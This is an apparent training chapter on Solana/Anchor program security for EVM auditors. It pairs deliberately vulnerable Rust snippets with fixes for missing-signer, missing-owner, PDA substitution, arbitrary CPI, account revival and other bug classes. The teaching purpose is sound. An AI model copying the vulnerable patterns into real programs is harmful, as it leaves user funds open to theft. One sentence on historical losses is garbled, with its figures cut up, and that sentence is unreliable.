Bonus — Non-EVM Security on Solana (Sealevel + Anchor for the EVM Auditor)

“Every EVM auditor who treats Solana like ‘Ethereum with cheaper gas’ has already missed half the bug classes. Solana doesn’t have reentrancy the way you know it — but it has missing-signer, missing-owner, account substitution, and arbitrary-CPI, and each one has paid out nine figures. The runtime is so different that your reflexes are wrong by default. This chapter rebuilds the reflexes.”

Tags: web3-security non-evm solana anchor sealevel cpi pda signer owner account-confusion bonus Learner: Auditor who has finished Phases 1–2 (Tuan-01-Web3-Blockchain-Crypto-FundamentalsTuan-07-Token-Standards-Integration-Risk) and wants to extend reach to non-EVM L1s Time: 5–7 days (depth equivalent to a weekly lesson; standalone bonus, can be slotted between phases) Related: Tuan-Bonus-Non-EVM-CosmWasm-Move · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-10-Bridge-Cross-Chain-Security · Case-Wormhole-2022


1. Context & Why

1.1 Why Solana belongs in your audit reach

Solana is not “Ethereum on a different VM”. The architecture is so different that the bug taxonomy is different. EVM auditors who pick up Solana audits with no retraining produce reports that miss the entire class of bugs unique to Sealevel.

The numbers force the issue. Between 2021 and 2025, Solana protocols lost over 326M), Mango Markets (48M), Crema Finance (3.5M) — are all bugs that an EVM-trained auditor would not find by default, because the bug primitives don’t exist in EVM:

ExploitBug classEVM analog?
WormholeSysvar account substitution + signature-verification context bypassNone — no concept of “passing in” a sysvar
Mango MarketsOracle manipulation via thinly-traded perp + cross-margin designLoose analog: bZx-style oracle manipulation, but the perp/oracle wiring is Solana-specific
CashioMissing PDA owner check on collateral mint accountNone — no concept of “account I pass in is verified by program owner”
Crema FinanceFake tick-array account passed in without owner verificationNone
NirvanaBonding-curve manipulation via flash-loanLoose analog: AMM math bug

This chapter is the minimum viable retraining. By the end, you can scope a small Anchor program, identify the constraint gaps, write a PoC that exploits them, and write the audit finding.

1.2 The core mental shift

The EVM model: contracts own state.

Contract A:
  storage[slot_0] = total_supply
  storage[slot_1][user] = balance[user]

The Solana model: state is an account; programs are stateless code.

Program P  (stateless code, ~immutable after deploy unless upgradeable)

Account X  (owned by P, holds bytes; "user balance" is just bytes inside X)
Account Y  (owned by P, holds different bytes; "config" data)
Account Z  (owned by token program; user's token holdings)

The transaction passes in the list of accounts it touches. The program reads/mutates those accounts but only ever inside the trust frame “is this account what I think it is?“.

That one shift — the caller chooses which accounts the program sees — is the source of 70% of Solana-specific bugs. In EVM, your contract’s state is your state, period. In Solana, the attacker hands you a tray of accounts and says “here, mutate these”. If you don’t verify each one, you’re done.

1.3 What you’ll be able to do by end of week

  • Read an Anchor #[derive(Accounts)] block and within 30 seconds list every constraint and which is enforced where.
  • Identify a missing signer check, missing owner check, missing PDA verification, missing program-id check on CPI, and account substitution risk in unfamiliar code.
  • Write Anchor programs that are deliberately vulnerable (lab exercises) and exploit them with hand-written client code.
  • Reproduce a Cashio-style fake-collateral PoC end-to-end on a local validator.
  • Translate your EVM checklist to a Solana checklist, knowing which items map and which don’t.

1.4 Primary references

SourceWhy
Solana Documentation — Core Conceptshttps://solana.com/docs/core — official; accounts, programs, transactions, PDAs, CPI
Anchor Framework — Account Constraintshttps://www.anchor-lang.com/docs/account-constraints — current; the constraint DSL is the audit surface
Solana Program Library (SPL)https://spl.solana.com — token, associated-token, governance, etc.; you’ll integrate with SPL constantly
Neodyme — Solana Common Pitfallshttps://neodyme.io/en/blog/solana_common_pitfalls/ — the canonical “top 5” Solana bug taxonomy
Helius — Hitchhiker’s Guide to Solana Program Securityhttps://www.helius.dev/blog/a-hitchhikers-guide-to-solana-program-security — most comprehensive single-page reference
Solana Foundation — Program Security Coursehttps://solana.com/developers/courses/program-security — official, lesson-by-lesson on each bug class
Sealevel Attacks (coral-xyz)https://github.com/coral-xyz/sealevel-attacks — runnable PoC repository for every major class
Ackee Blockchain — Trident fuzzerhttps://github.com/Ackee-Blockchain/trident — first open-source Solana program fuzzer; under active development [verify version]
OtterSec / Halborn / Trail of Bits Solana audit reportshttps://github.com/sannykim/solsec — curated list of public reports
Solana Handbook (Ackee)https://ackee.xyz/solana/book/latest/ — alternative reference; deeper on runtime mechanics

2. Solana Architecture for the EVM Auditor

2.1 Accounts — the only state primitive

In Solana everything is an account. There are no separate “contract storage”, “balance ledger”, “code” concepts. Just accounts, distinguished by:

  • Pubkey (32 bytes, Ed25519 public key or PDA): the account’s address.
  • Lamports: the SOL balance (1 SOL = 10⁹ lamports). Also funds rent.
  • Data: an arbitrary byte buffer. Programs read/write this.
  • Owner: the pubkey of the program that controls write access to data. Only the owner can mutate the account’s data.
  • Executable: a bool; true if this account is a program (its data is BPF bytecode).
  • Rent epoch: legacy field; for an auditor’s purposes, treat all accounts as rent-exempt (the modern norm).
┌─────────────────────────────────────┐
│ Account: 0xAbCd...                  │
├─────────────────────────────────────┤
│ lamports:   2_039_280               │  ← funds rent-exemption + SOL balance
│ owner:      <ProgramP pubkey>       │  ← only ProgramP can write `data`
│ executable: false                   │
│ data:       [u8; N]                 │  ← interpreted by ProgramP
└─────────────────────────────────────┘

The EVM mental flip: in EVM, Contract.balanceOf[user] is one entry in Contract’s storage. In Solana, “user’s token balance” is its own account, owned by the SPL token program, with mint/owner/amount fields parsed out of the data buffer.

This has audit implications you must internalize:

  1. The user (transaction submitter) chooses which accounts to pass to the program. They can pass a malicious account that mimics a legitimate one. The program must verify.
  2. Only the owning program can mutate data. Foreign programs can read but never write. This is the runtime-level isolation.
  3. Lamports can be transferred by anyone (with signer auth) but data mutation is gated by the owner check at the runtime level. Confusing the two is a common dev mistake.

2.2 Programs — stateless executables

A Solana program is an account with executable = true and BPF bytecode in data. Important properties:

  • No state: programs don’t store data; they read/write other accounts they own.
  • Deterministic invocation: given a fixed transaction (which lists all accounts upfront), the program executes the same way.
  • Upgradeable (optional): the BPF Loader supports upgrade authority. If set, an authority can replace the program’s bytecode — equivalent to UUPS proxy upgrade in EVM. Audit angle: who holds upgrade authority? Is it a multisig? Renounced? See §6.
  • Program ID: the pubkey of the program account is its identity. Used everywhere for verification.
Transaction:
  - calls program P
  - with accounts [A, B, C, D, ...]
  - and instruction data [opcode + args]

P executes:
  - reads/writes A, B, C, D
  - (may CPI to program Q with subset of accounts)
  - returns success or error

2.3 Rent and rent-exemption

Solana charges rent for storage. In practice, every account is funded to rent-exempt (~0.00204 SOL per kB of data); rent-exempt accounts pay no ongoing rent.

When auditing:

  • Account creation writes the size at init and funds rent-exemption upfront from a payer account.
  • close an account = drain its lamports to a recipient and zero its data. After close, the runtime garbage-collects the account at the end of the transaction.
  • Revival attacks exploit the window where a “closed” account still has its data accessible during the same transaction (§4.7).

The rent model has no EVM analog and creates a new bug class: account-revival.

2.4 Cross-Program Invocation (CPI)

CPI is Solana’s “call another contract”. Mechanics:

  • The caller program issues a CpiContext specifying target program ID, accounts to forward, and instruction data.
  • The Sealevel runtime enforces:
    • Max depth of 4 (CPI cannot recurse beyond depth 4 — this rules out classic reentrancy by construction [verify limit current]).
    • Privilege extension: an account marked signer or writable at the top level remains so when forwarded to the CPI target. The target cannot gain privileges beyond what the caller had.
    • PDA signing: programs can sign for PDAs they derive, using invoke_signed. This is how programs hold custody — a “vault” PDA whose private key doesn’t exist; only the program can produce valid CPI signatures for it.
Program A
  └─ invoke_signed(
        target = Program B,
        accounts = [vault_pda, dest_token_account, ...],
        seeds = [["vault", &user.key()], &[bump]]   // proves "I am the program that owns this PDA"
     )

EVM analog: rough equivalent of delegatecall minus the storage-context twist; closer to a normal call but with the runtime enforcing capability passing.

Audit angle: every CPI requires a check that the target program ID is what you expect. Forgetting this is the arbitrary CPI bug class (§4.5).

2.5 Sealevel parallelism — the constraint that shapes the model

Solana’s executor parallelizes transactions that touch disjoint account sets. The protocol requires each transaction to declare upfront every account it will read or write — including the ones touched via CPI.

Consequences:

  1. No “discovered accounts”: a program cannot, mid-execution, decide to read account X if X wasn’t passed in. Everything is declared.
  2. Reentrancy is largely structural: the depth limit + the account-declaration requirement makes EVM-style reentrancy difficult. (You can still have logic bugs where a CPI returns and the caller reads stale state — the account reload class — but classic single-function reentrancy isn’t a primitive.)
  3. Parallel scheduling introduces an MEV/frontrunning model different from EVM: leaders can see transactions and reorder, but cross-transaction reentrancy is impossible.

2.6 The “passed-in accounts” trust model — the core audit lens

Here is the mental model you need every minute of every Solana audit:

Every account in the instruction is attacker-controlled until proven otherwise. The program must verify, for each account it touches, that the account is what the program assumes it is. That means:

  • The right owner program (so the data is from a trusted source).
  • The right discriminator / type (so the bytes mean what you think).
  • The right signer status (if you’re about to do something privileged).
  • The right PDA derivation (if the account is supposed to be your program’s PDA).
  • The right mint / authority (if it’s a token account).

Skip any of these and the program is exploitable.

Anchor’s constraint system (§3) is the developer-facing tool to encode all this. Audit reviews are predominantly about whether the constraints are sufficient.


3. The Anchor Framework — Audit Surface in 1500 Lines

Most Solana programs (>88% by deployed contract count [verify]) use Anchor. Anchor wraps the raw BPF / native-program interface with a Rust DSL of macros that auto-generate validation and deserialization code. The auditor’s life is largely spent reading these macros.

3.1 Anchor program skeleton

use anchor_lang::prelude::*;
 
declare_id!("YourProgramPubkey11111111111111111111111111");
 
#[program]
pub mod vault {
    use super::*;
 
    pub fn initialize(ctx: Context<Initialize>, amount: u64) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        vault.owner = ctx.accounts.user.key();
        vault.balance = amount;
        Ok(())
    }
 
    pub fn withdraw(ctx: Context<Withdraw>, amount: u64) -> Result<()> {
        let vault = &mut ctx.accounts.vault;
        require!(vault.balance >= amount, VaultError::InsufficientFunds);
        vault.balance -= amount;
        // ... transfer logic
        Ok(())
    }
}
 
#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(
        init,
        payer = user,
        space = 8 + 32 + 8,
        seeds = [b"vault", user.key().as_ref()],
        bump
    )]
    pub vault: Account<'info, Vault>,
    #[account(mut)]
    pub user: Signer<'info>,
    pub system_program: Program<'info, System>,
}
 
#[derive(Accounts)]
pub struct Withdraw<'info> {
    #[account(
        mut,
        seeds = [b"vault", user.key().as_ref()],
        bump,
        has_one = owner @ VaultError::NotOwner,
    )]
    pub vault: Account<'info, Vault>,
    pub owner: Signer<'info>,
}
 
#[account]
pub struct Vault {
    pub owner: Pubkey,
    pub balance: u64,
}
 
#[error_code]
pub enum VaultError {
    #[msg("Insufficient funds")]
    InsufficientFunds,
    #[msg("Not the vault owner")]
    NotOwner,
}

This 60-line example exercises every major Anchor mechanism. The entire audit surface for account validation is inside the #[derive(Accounts)] blocks.

3.2 Constraint reference (memorize)

ConstraintWhat it enforcesAudit-relevance
initAccount must not yet exist; create it; pay rent-exemptionMust pair with payer, space, and ideally seeds/bump
init_if_neededSame, but skip if already existsDangerous — see §4.6
mutAccount is writable in this instructionWithout mut, runtime rejects writes
signer(Implicit via Signer<'info> wrapper) the account signed the txCritical for any privileged action
owner = <program>The account’s owner field equals the given programDefends against foreign-account substitution
seeds = [...] + bumpThe account is a PDA of this program derived from these seedsDefends against attacker-controlled accounts
has_one = fieldaccount.field == ctx.accounts.field.key()Cross-reference between accounts — see §4.4
constraint = exprArbitrary boolean expression must holdCatch-all; auditor must read the expression
close = recipientDrain lamports to recipient, zero data, transfer ownership to system programThe correct close pattern; see §4.7
address = pubkeyThe account’s pubkey must equal this constantOften used to pin sysvars and token programs
token::mint = mint(anchor_spl) The token account’s mint matches given mintStandard token-account validation
token::authority = authThe token account’s authority matches

3.3 What Anchor does for you (and what it doesn’t)

By using Account<'info, T> (instead of raw AccountInfo), Anchor automatically:

  • Verifies the 8-byte discriminator on T (first 8 bytes of the SHA-256 of "account:" + type_name). This protects against type-confusion — see §4.3.
  • Verifies the owner is the current program (because T is one of your #[account] types).
  • Deserializes the data using Borsh.

What Anchor does not do for you:

  • Validate that a UncheckedAccount or AccountInfo is anything in particular. You typed your way out of safety.
  • Validate that a Program<'info, Foo> is the right program if Foo is your own; for foreign programs you must use address = ....
  • Check is_signer on accounts you didn’t wrap in Signer<'info>.
  • Enforce business rules (e.g., “the mint authority of this token must be PDA X” — that’s a constraint).
  • Catch arithmetic overflow (Rust release builds wrap silently unless you set overflow-checks = true in Cargo.toml).
  • Reload an Anchor account after a CPI mutates it (you must call .reload()).

Auditor’s first reflex when reading Anchor code: scan every Accounts struct for UncheckedAccount, AccountInfo, or any field without explicit constraints. Each is a place where the developer turned off Anchor’s protection. Sometimes intentional, often a bug.

3.4 IDL — the interface description

Anchor emits an IDL (JSON) describing the program’s instructions, accounts, types, and errors. Clients (web SDKs, fuzzers) consume the IDL.

Audit-relevant: the IDL is the source of truth for what clients think the program does. Mismatches between IDL and actual on-chain bytecode (possible if anchor build and anchor deploy are run from different states) are a real source of frontend/program drift. Always verify the deployed program hash against the audited source.


4. Core Solana Vulnerability Classes

This section is the meat. Each class includes: definition, exploit primitive, code example, fix.

4.1 Missing Signer Check

Definition: a privileged action depends on the identity of some account, but the program doesn’t verify that account actually signed the transaction. Anyone can supply the legitimate account’s pubkey without holding its key.

Why it’s possible: every account in the instruction is just a pubkey from the caller’s perspective. The runtime tracks is_signer separately. The program must check.

Vulnerable native code:

pub fn admin_withdraw(ctx: Context<AdminWithdraw>) -> Result<()> {
    let admin_account = &ctx.accounts.admin;
    let config = &ctx.accounts.config;
    require!(admin_account.key() == config.admin, MyError::NotAdmin);
    // ← BUG: we only verified the pubkey matches; we didn't check is_signer
    // ... drain the vault to admin_account
    Ok(())
}
 
#[derive(Accounts)]
pub struct AdminWithdraw<'info> {
    /// CHECK: admin authority — only validated by pubkey match
    pub admin: AccountInfo<'info>,  // ← NOT Signer<'info>!
    pub config: Account<'info, Config>,
    // ... vault accounts
}

Exploit: any caller passes the admin’s pubkey (publicly known on-chain) as admin. The pubkey check passes. They never had to sign — they don’t have the admin key. Drain.

This is exactly the Wormhole class of bug at a different layer: the contract trusted that a previous instruction had been executed by a particular party, but didn’t verify the cryptographic proof that they had.

Fix:

#[derive(Accounts)]
pub struct AdminWithdraw<'info> {
    pub admin: Signer<'info>,                       // ← runtime enforces is_signer
    #[account(has_one = admin @ MyError::NotAdmin)] // ← config.admin == admin.key()
    pub config: Account<'info, Config>,
}

Signer<'info> makes Anchor inject require!(account.is_signer, ErrorCode::AccountNotSigner). Combined with has_one, you cover identity and authorization.

Audit checklist:

  • Every privileged instruction: is the authority wrapped in Signer<'info> or has explicit require!(account.is_signer)?
  • Every AccountInfo<'info> in an accounts struct: justify why it’s not typed.

4.2 Missing Owner Check

Definition: the program reads data from an account and treats it as its own state, but doesn’t verify the account’s owner field. A malicious account owned by a different program (or by the attacker via the system program) can supply forged data.

The Cashio class (Case-Cashio-2022). Cashio took a collateral account as input, parsed it as “your bank’s LP token balance”, but never checked that the account was actually owned by the legitimate collateral program. Attacker created a System-program-owned account with the same byte layout claiming $1B of collateral. Cashio minted 2B CASH against air.

Vulnerable:

pub fn deposit_collateral(ctx: Context<Deposit>, amount: u64) -> Result<()> {
    // Read the collateral account's "balance" field directly
    let collateral_data = ctx.accounts.collateral.data.borrow();
    let balance = u64::from_le_bytes(collateral_data[8..16].try_into().unwrap());
    // ← BUG: no check that ctx.accounts.collateral.owner == COLLATERAL_PROGRAM
    require!(balance >= amount, MyError::InsufficientCollateral);
    // ... mint stablecoin to user
}
 
#[derive(Accounts)]
pub struct Deposit<'info> {
    /// CHECK: should be a collateral vault from the partner protocol
    pub collateral: AccountInfo<'info>,  // ← no owner constraint!
    // ...
}

Fix (Anchor style):

#[derive(Accounts)]
pub struct Deposit<'info> {
    #[account(owner = collateral_program::ID)]
    pub collateral: Account<'info, CollateralVault>,  // typed + owner-checked
    // ...
}

If CollateralVault is defined in the partner crate with its own #[account], Anchor automatically requires the owner to match that program’s ID — but only if the type’s namespace matches. For foreign types, explicit owner = ... is required.

For raw AccountInfo, do it manually:

require!(
    ctx.accounts.collateral.owner == &collateral_program::ID,
    MyError::WrongOwner
);

Audit checklist:

  • Every AccountInfo read for data: explicit owner check?
  • Every Account<'info, T> where T is defined in another program: explicit owner = ... or address = ...?
  • Every SPL token account: token::mint = ... and token::authority = ... constraints?

4.3 Account Confusion / Type Cosplay

Definition: the program defines multiple account types with similar byte layouts. An attacker passes an account of type B where type A is expected; the program deserializes the bytes successfully and acts on them. A.k.a. “type cosplay”.

Why this works: Solana accounts are just [u8]. Without a discriminator (a type tag in the first bytes), nothing distinguishes “this is a UserAccount” from “this is an AdminAccount” if they have the same size.

Vulnerable (native, no discriminator):

#[repr(C)]
pub struct UserAccount { pub user: Pubkey, pub balance: u64 }
#[repr(C)]
pub struct AdminAccount { pub admin: Pubkey, pub fees: u64 }
// Same on-disk layout: 32 bytes + 8 bytes
 
pub fn process_user(account: &AccountInfo) -> Result<()> {
    let data = account.data.borrow();
    let user: &UserAccount = bytemuck::from_bytes(&data);
    // ← BUG: nothing prevents this from being an AdminAccount whose fees we treat as balance
    Ok(())
}

An attacker who can create an AdminAccount (perhaps because admin-init is laxly guarded) passes it where a user account is expected. The program treats admin as user and fees as balance — gives them credit for a million in fees.

Anchor’s defense: every #[account] type gets an 8-byte discriminator sha256("account:<TypeName>")[0..8]. Anchor checks it on every Account<'info, T> deserialization. Cross-type substitution fails the discriminator check.

But: the protection breaks if you bypass Account<T>:

pub user_account: UncheckedAccount<'info>,  // discriminator NOT checked
pub user_account: AccountInfo<'info>,       // discriminator NOT checked

And there’s a recent class of bug: InterfaceAccount<'info, T> in anchor-lang has had discriminator-bypass advisories [verify GHSA-429Q-FHH4-R6HJ status]. Always treat InterfaceAccount with the same scrutiny as UncheckedAccount until the version in use is confirmed patched.

Fix: use Account<'info, T> everywhere; reject UncheckedAccount in audits unless explicitly justified; check Anchor version against known advisories.

4.4 Account Substitution / Missing PDA / has_one Gaps

Definition: the program expects an account to be a specific PDA (e.g., “the user’s vault”) but doesn’t verify the PDA derivation. The attacker creates a controlled account at a different address and passes it.

Or, related: the program expects two accounts to be linked (vault.owner == owner.key()) but doesn’t verify the link.

Vulnerable:

#[derive(Accounts)]
pub struct Withdraw<'info> {
    #[account(mut)]
    pub vault: Account<'info, Vault>,  // ← no seeds/bump, no has_one
    pub owner: Signer<'info>,
}
 
pub fn withdraw(ctx: Context<Withdraw>, amount: u64) -> Result<()> {
    let vault = &mut ctx.accounts.vault;
    // BUG: any vault gets withdrawn from; "owner" who signed isn't tied to vault
    vault.balance -= amount;
    // ... transfer to owner
}

Attacker passes someone else’s vault and their own signer; withdraws others’ funds.

Fix:

#[derive(Accounts)]
pub struct Withdraw<'info> {
    #[account(
        mut,
        seeds = [b"vault", owner.key().as_ref()],
        bump = vault.bump,
        has_one = owner @ VaultError::NotOwner,
    )]
    pub vault: Account<'info, Vault>,
    pub owner: Signer<'info>,
}

Two layers of defense: seeds/bump pin the PDA derivation; has_one = owner requires vault.owner == owner.key(). Either alone fixes the bug; both is defense in depth.

Bump-canonicalization sub-bug: PDAs have one canonical bump (the highest bump that produces an off-curve address) but many valid non-canonical bumps. If a program doesn’t pin the bump, an attacker can derive a different valid PDA for the same logical seeds and exploit it.

Pattern: store the bump in the account at init; reference bump = vault.bump on subsequent operations. Anchor’s seeds/bump without an explicit value uses find_program_address (canonical bump) on the first run and stores it in __bump if you opt in. Re-deriving every call costs compute units; storing is cheaper and equally safe.

4.5 Arbitrary CPI — Program ID Not Verified

Definition: program A makes a CPI to a target program supplied by the caller, without verifying the target’s pubkey. Attacker supplies a malicious program that mimics the expected interface; the CPI runs attacker code.

Vulnerable:

pub fn deposit_via_cpi(
    ctx: Context<DepositViaCpi>,
    amount: u64,
) -> Result<()> {
    let cpi_program = ctx.accounts.ledger_program.to_account_info();
    // ← BUG: no check that ledger_program == LEDGER_PROGRAM_ID
    let cpi_ctx = CpiContext::new(cpi_program, ledger::cpi::accounts::Deposit { /*...*/ });
    ledger::cpi::deposit(cpi_ctx, amount)?;
    Ok(())
}
 
#[derive(Accounts)]
pub struct DepositViaCpi<'info> {
    /// CHECK: should be the ledger program
    pub ledger_program: AccountInfo<'info>,  // ← no address constraint
    // ...
}

Attacker writes a “malicious ledger” program with the same instruction interface; it drains the vault account passed in. The CPI succeeds because the instruction is well-formed; the privilege of the calling program transfers; the attacker’s program is now signing with the calling program’s authority.

Fix:

#[derive(Accounts)]
pub struct DepositViaCpi<'info> {
    #[account(address = ledger::ID)]
    pub ledger_program: Program<'info, Ledger>,  // type + address
    // ...
}

Or for foreign programs with no Anchor type, manual check:

require!(
    ctx.accounts.ledger_program.key() == &expected_program_id,
    MyError::WrongProgram
);

Audit checklist for every CPI:

  • Target program ID verified by constraint or runtime check?
  • Accounts forwarded to the CPI: each one verified independently (the CPI target won’t re-verify what the caller didn’t)?
  • If invoke_signed is used: are the PDA seeds the correct ones, and does the program actually have authority over the operation it’s signing for?

4.6 Re-Initialization (init_if_needed and friends)

Definition: an instruction can be called twice; the second call should fail, but state is overwritten.

The Anchor init_if_needed constraint creates the account if it doesn’t exist, otherwise treats it as already-initialized. Crucially, the instruction body can re-write fields on an already-initialized account. If the developer assumed first-call-only semantics and writes ownership/admin fields unconditionally, an attacker calls the instruction a second time and overwrites them.

Vulnerable:

pub fn create_or_update_profile(
    ctx: Context<CreateProfile>,
    name: String,
) -> Result<()> {
    let profile = &mut ctx.accounts.profile;
    profile.authority = ctx.accounts.user.key();  // ← BUG: rewrites on every call
    profile.name = name;
    Ok(())
}
 
#[derive(Accounts)]
pub struct CreateProfile<'info> {
    #[account(
        init_if_needed,
        payer = user,
        space = 8 + 32 + 64,
        seeds = [b"profile", target.key().as_ref()],   // ← seeds use target, not user
        bump,
    )]
    pub profile: Account<'info, Profile>,
    pub target: SystemAccount<'info>,  // who the profile is for
    #[account(mut)]
    pub user: Signer<'info>,
    pub system_program: Program<'info, System>,
}

Anyone can call this for any target, becoming target’s “authority”. First legitimate user creates their profile; attacker calls it again with user = themselves, target = victim, overwriting profile.authority = attacker. Profile takeover.

Fix: either separate create from update, or in the body distinguish first-init vs subsequent:

pub fn create_or_update_profile(
    ctx: Context<CreateProfile>,
    name: String,
) -> Result<()> {
    let profile = &mut ctx.accounts.profile;
    // First-init: authority empty (zero pubkey)
    if profile.authority == Pubkey::default() {
        profile.authority = ctx.accounts.user.key();
    } else {
        require!(profile.authority == ctx.accounts.user.key(), MyError::NotAuthority);
    }
    profile.name = name;
    Ok(())
}

Or, better, structurally separate:

pub fn create_profile(ctx: Context<CreateProfile>, name: String) -> Result<()> { /*init only*/ }
pub fn update_profile(ctx: Context<UpdateProfile>, name: String) -> Result<()> { /*has_one auth*/ }

Anchor 0.30+ requires explicit cargo feature init-if-needed to use the constraint, exactly to flag the foot-gun. Audit angle: any program with init-if-needed = true in Cargo.toml deserves extra scrutiny on the re-call paths.

4.7 Closing Accounts — Revival Attacks

Definition: a program closes an account by transferring its lamports out and writing zeros. The account now has 0 lamports; the runtime will garbage-collect it at end of transaction. Until then, the account is still present, data still readable (and potentially writable if the program logic permits), and a malicious caller in the same transaction can re-fund it (push lamports back in) — preventing GC and reviving the account with whatever data they put there.

The revival window is per-transaction: end of tx, runtime sweeps zero-lamport accounts. During the tx, an account at 0 lamports is “marked for death” but not dead.

Vulnerable manual close:

pub fn close_position(ctx: Context<ClosePosition>) -> Result<()> {
    let position = &mut ctx.accounts.position;
    // Drain lamports to the user
    let lamports = position.to_account_info().lamports();
    **position.to_account_info().lamports.borrow_mut() = 0;
    **ctx.accounts.user.to_account_info().lamports.borrow_mut() += lamports;
    // ← BUG: data not zeroed, owner not changed
    // Attacker re-funds the account before tx end → it's revived with stale data
    Ok(())
}

Fix — use Anchor’s close constraint:

#[derive(Accounts)]
pub struct ClosePosition<'info> {
    #[account(mut, close = user)]
    pub position: Account<'info, Position>,
    #[account(mut)]
    pub user: Signer<'info>,
}

Anchor close = user:

  1. Transfers lamports to user.
  2. Zeros the data buffer.
  3. Reassigns owner to the System Program.

Even if someone re-funds, the data is gone and the owner is no longer your program; further reads or writes by your program would fail validation.

Anchor 0.30+ removed the previous CLOSED_ACCOUNT_DISCRIMINATOR (0xFFFFFFFFFFFFFFFF) sentinel; the modern close is purely lamport-zero + data-zero + owner-reassign. [verify current implementation in your audit’s Anchor version]

Audit checklist:

  • Every manual close (writes to lamports directly): verify data is also zeroed and owner is reassigned to system program.
  • Every close = recipient constraint: confirm recipient is the legitimate refund target.
  • Any “reuse” of a closed account in the same transaction: scrutinize for revival.

4.8 Sysvar Substitution (Wormhole-class)

Definition: certain Solana state (clock, rent, instructions sysvar, etc.) lives in special accounts called sysvars at well-known addresses. If a program reads a sysvar but doesn’t verify the address, an attacker passes a forged account with crafted data.

The Wormhole 2022 hack (Case-Wormhole-2022): the Solana bridge program used the Instructions sysvar (Sysvar1nstructions1111111111111111111111111) to confirm a Secp256k1 signature-verification call had run earlier in the same transaction. It did this via load_instruction_at which, in the version they used, didn’t check that the passed-in account was the instructions sysvar — only that it contained valid-looking instruction data. The attacker passed a different account, controlled by them, containing fabricated “instruction data” that claimed a Secp256k1 verify had run. The bridge believed it; minted 120k wETH on Solana with no actual signature.

A fix had been merged to Wormhole’s repo but not deployed. The attacker likely watched the public repo for security-sensitive commits. General lesson: closed-source disclosure is not optional in bridge security.

Vulnerable:

pub fn verify_signatures(ctx: Context<VerifySigs>) -> Result<()> {
    let instructions_sysvar = ctx.accounts.instructions;
    let prev_ix = load_instruction_at(0, instructions_sysvar)?;
    // ← BUG: instructions_sysvar not pinned to actual sysvar address
    require!(prev_ix.program_id == SECP256K1_ID, MyError::NoSigVerify);
    Ok(())
}

Fix:

#[derive(Accounts)]
pub struct VerifySigs<'info> {
    #[account(address = sysvar::instructions::ID)]
    /// CHECK: pinned to the real instructions sysvar
    pub instructions: AccountInfo<'info>,
    // ...
}

Anchor provides typed sysvar wrappers (Sysvar<'info, Clock>, Sysvar<'info, Rent>) that auto-check the address. Use them. Manual AccountInfo for sysvars without address = ... is a red flag.

4.9 Arithmetic Overflow

Definition: Rust release builds wrap unsigned integer arithmetic silently. A vault accounting vault.balance += amount where amount overflows wraps to near-zero.

EVM auditors: in Solidity 0.8+, overflow reverts by default. In Rust release, it doesn’t. This is one of the easier wins for an EVM auditor on Solana — overflow checks are commonly forgotten.

Vulnerable:

pub fn deposit(ctx: Context<Deposit>, amount: u64) -> Result<()> {
    let vault = &mut ctx.accounts.vault;
    vault.balance += amount;  // ← wraps in release
    vault.total_deposits += 1;
    Ok(())
}

Fix — three options, in increasing strictness:

  1. overflow-checks = true in Cargo.toml [profile.release] — makes every op check. Cost: ~10–20% compute increase. Recommended default for new programs.
  2. Explicit checked_*:
    vault.balance = vault.balance
        .checked_add(amount)
        .ok_or(MyError::Overflow)?;
  3. saturating_* or wrapping_* for cases where overflow is acceptable (rare in financial logic; common in counters where wrap is intended).

Audit checklist:

  • Cargo.toml [profile.release] overflow-checks set to true?
  • Manual checked_* used on financial arithmetic if not?
  • Division by zero protected (Rust panics in debug, undefined in release — though SBPF runtime usually catches)?
  • Casting (as u64, as i64) audited for truncation? Use try_from instead.
  • Multiplication-then-division order to preserve precision? (a * b) / c, not (a / c) * b.

4.10 Insecure Randomness

Definition: same as EVM. Slot-based, blockhash-based, or recent-block-derived randomness is leader-influenceable. Solana’s Clock::slot and Clock::unix_timestamp are visible to the block leader during construction; using them as RNG biases outcomes toward the leader (or anyone who can predict the slot).

There is no block.prevrandao analog with strong security on Solana. Use VRF: Switchboard VRF or Pyth VRF are the standard.

Same audit checklist as EVM week 06; the chain is different but the bug is identical.

4.11 Duplicate Mutable Accounts

Definition: an instruction takes two writable accounts that are supposed to be different (e.g., “from” and “to”). The runtime doesn’t enforce distinctness. The attacker passes the same account for both. The program double-mutates one account, often netting to gain.

Vulnerable:

pub fn transfer_with_fee(
    ctx: Context<TransferWithFee>,
    amount: u64,
) -> Result<()> {
    let src = &mut ctx.accounts.src;
    let dst = &mut ctx.accounts.dst;
    src.balance = src.balance.checked_sub(amount).unwrap();
    dst.balance = dst.balance.checked_add(amount).unwrap();
    // attacker: src == dst → balance unchanged effectively, but...
    // suppose fee logic credits something to a third account based on the operation count
    Ok(())
}

Fix:

require!(
    ctx.accounts.src.key() != ctx.accounts.dst.key(),
    MyError::SameAccount
);

Or use Anchor’s constraint = src.key() != dst.key().

4.12 Account Reloading After CPI

Definition: Anchor deserializes accounts into memory at instruction entry. If a CPI mutates one of those accounts (e.g., you CPI to the token program to mint), the in-memory Anchor view is stale until you .reload(). Reading post-CPI without reload uses pre-CPI values.

Vulnerable:

// Mint 100 tokens to the user via CPI
anchor_spl::token::mint_to(cpi_ctx, 100)?;
// Now read the balance — but the in-memory view is stale!
let new_balance = ctx.accounts.user_token.amount;
require!(new_balance >= 100, MyError::MintFailed);  // ← can fail spuriously, or pass when it shouldn't

Fix:

anchor_spl::token::mint_to(cpi_ctx, 100)?;
ctx.accounts.user_token.reload()?;
let new_balance = ctx.accounts.user_token.amount;

Solana has no reentrancy in the EVM sense, but the state-staleness bug class is similar in flavor — your in-memory view doesn’t reflect on-chain reality post-CPI.

4.13 Remaining Accounts

Definition: Anchor exposes ctx.remaining_accounts for variadic account lists. These accounts are not validated by any constraint. Programs that read or write them without explicit checks are exposing themselves.

Common pattern: an instruction accepts a list of reward accounts to credit. If the iteration doesn’t verify each account, attacker stuffs in unauthorized accounts.

Fix: explicit per-iteration owner / mint / authority checks.

for account in ctx.remaining_accounts.iter() {
    require!(account.owner == &TOKEN_PROGRAM_ID, MyError::WrongOwner);
    // ... per-element validation
}

4.14 Summary table

Bug classEVM analogAnchor defense
Missing signerMissing onlyOwnerSigner<'info> + has_one
Missing ownerNone — owner is implicit in EVMowner = ... or typed Account<'info, T>
Type confusionNone — Solidity types are strongDiscriminator (auto for Account<'info, T>)
PDA substitutionCREATE2 squat at predictable addressseeds = [...] + bump
